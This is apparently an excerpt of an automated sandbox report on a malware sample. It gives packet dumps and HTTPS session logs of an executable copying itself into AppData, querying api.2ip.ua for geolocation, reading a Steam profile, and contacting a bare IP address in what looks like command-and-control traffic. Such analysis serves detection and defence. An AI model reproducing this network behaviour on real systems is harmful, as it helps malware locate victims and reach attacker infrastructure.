Apr 24, 2024 17:37:16.052186966 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 24, 2024 17:37:16.052781105 CEST	1289	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 24, 2024 17:37:16.053108931 CEST	1289	IN	Data Raw: 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 70 00 65 00 72 00 61 00 74 Data Ascii: ,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Stud
Apr 24, 2024 17:37:16.053571939 CEST	1289	IN	Data Raw: 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 00 Data Ascii: cator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_iterator
Apr 24, 2024 17:37:16.054178953 CEST	1289	IN	Data Raw: 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 Data Ascii: src != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_bld\sel
Apr 24, 2024 17:37:16.054270983 CEST	1289	IN	Data Raw: 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 Data Ascii: C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot
Apr 24, 2024 17:37:16.054491043 CEST	1289	IN	Data Raw: 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c Data Ascii: ULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\dd\vctools\crt_bld\se
Apr 24, 2024 17:37:16.054843903 CEST	1289	IN	Data Raw: 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 Data Ascii: realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs
Apr 24, 2024 17:37:16.055273056 CEST	1289	IN	Data Raw: 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 Data Ascii: free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP C
Apr 24, 2024 17:37:16.336667061 CEST	1289	IN	Data Raw: 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2c 20 73 75 62 74 79 70 65 20 25 78 2c 20 25 49 75 Data Ascii: ate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File Error#(%d) : Dumping objects

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	172.67.139.220	443	7360	C:\Users\user\Desktop\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:03 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:37:04 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RiE%2B17HGm2y8MC06T9q9FRfANLfXdIAiT0Ob9rrQb10jagsKMsNb3yI%2FWRiqg0roFZB4sBqObcgWPF9ZLLdAEn4wCcEyY4HUZeBXGHh99oxyVw5HtcUzHX1rDe%2B8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87972c263f3f2ab4-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:37:04 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 65 37 36 37 62 37 32 36 65 35 65 32 63 37 37 36 65 33 30 37 33 37 62 32 31 36 64 36 62 37 63 37 34 37 62 37 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#1e767b726e5e2c776e30737b216d6b7c747b7d
2024-04-24 15:37:04 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 63 35 34 35 39 35 30 34 63 37 63 30 65 35 35 34 63 31 32 34 39 35 64 30 33 34 66 34 39 35 65 35 36 35 39 35 66 34 38 30 31 30 65 35 35 34 63 31 32 34 39 35 64 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#3c5459504c7c0e554c12495d034f495e56595f48010e554c12495d">
2024-04-24 15:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	172.67.139.220	443	7524	C:\Users\user\Desktop\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:05 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:37:06 UTC	920	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sLLhK2yF%2F83l8WXIYpRSh%2B2Excc4%2FViSw%2B4y2a36koAA3QxtF%2FyecEcV2d6XvHVv%2F92a9xwu4R21QMawjizDLlp3N8DlQUApTzUPZ2cDc%2B0RdkrSlVkXejVX57he"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87972c356d577bb6-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:37:06 UTC	449	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 62 62 33 62 65 62 37 61 62 39 62 65 39 62 32 61 62 66 35 62 36 62 65 65 34 61 38 61 65 62 39 62 31 62 65 62 38 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#dbb3beb7ab9be9b2abf5b6bee4a8aeb9b1beb8
2024-04-24 15:37:06 UTC	481	IN	Data Raw: d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 63 32 34 32 39 32 30 33 63 30 63 37 65 32 35 33 63 36 32 33 39 32 64 37 33 33 66 33 39 32 65 32 36 32 39 32 66 33 38 37 31 37 65 32 35 33 63 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#4c2429203c0c7e253c62392d733f392e26292f38717e253c
2024-04-24 15:37:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	172.67.139.220	443	7596	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:37:07 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oit50V8RWJUubHYNWDTKnFYNoZflL646r5q3UI6CXOcZVhx2%2BoXJJOkF9bu19tpCYXDeTAaT%2Fl9rRKJJKGCu0wn9IR028heYM6%2B9pYGqEDmRicGeRrF3fzqO9wqY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87972c395cbb2efc-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:37:07 UTC	457	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 37 34 31 63 31 31 31 38 30 34 33 34 34 36 31 64 30 34 35 61 31 39 31 31 34 62 30 37 30 31 31 36 31 65 31 31 31 37 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#741c11180434461d045a19114b0701161e1117
2024-04-24 15:37:07 UTC	365	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 64 33 35 33 38 33 31 32 64 31 64 36 66 33 34 32 64 37 33 32 38 33 63 36 32 32 65 32 38 33 66 33 37 33 38 33 65 32 39 36 30 36 66 33 34 32 64 37 33 32 38 33 63 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#5d3538312d1d6f342d73283c622e283f37383e29606f342d73283c">
2024-04-24 15:37:07 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 15:37:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49712	23.66.133.162	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:15 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:16 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 15:37:16 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=0566558969f6e6199323daa6; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 15:37:16 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 15:37:16 UTC	10062	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-24 15:37:16 UTC	9214	IN	Data Raw: 74 65 61 6d 67 61 6d 65 73 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 61 72 74 6e 65 72 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 54 45 52 4e 41 4c 5f 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 73 74 61 74 73 2e 76 61 6c 76 65 2e 6f 72 67 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 5f 43 4c 49 45 4e 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 55 53 45 5f 50 4f 50 55 50 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 49 43 4f 4e 5f 42 41 Data Ascii: teamgames.com\/","STATS_BASE_URL":"https:\/\/partner.steampowered.com\/","INTERNAL_STATS_BASE_URL":"https:\/\/steamstats.valve.org\/","IN_CLIENT":false,"USE_POPUPS":false,"STORE_ICON_BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49713	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:18 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:37:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49714	172.67.139.220	443	7916	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:20 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:37:20 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I2zVZLJsxQ%2BXE7B8oYELSnTkEd8Mgp1ENojm2uas0DBMWecoCUV5T4nAzc63F4fnLnInpIOG1ISOykcumMwR1K5Mlxl6FbJN0vW95y%2FMVBH7I891XpxRXx2rjwBu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87972c8e5df22ab0-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:37:20 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 30 38 38 38 35 38 63 39 30 61 30 64 32 38 39 39 30 63 65 38 64 38 35 64 66 39 33 39 35 38 32 38 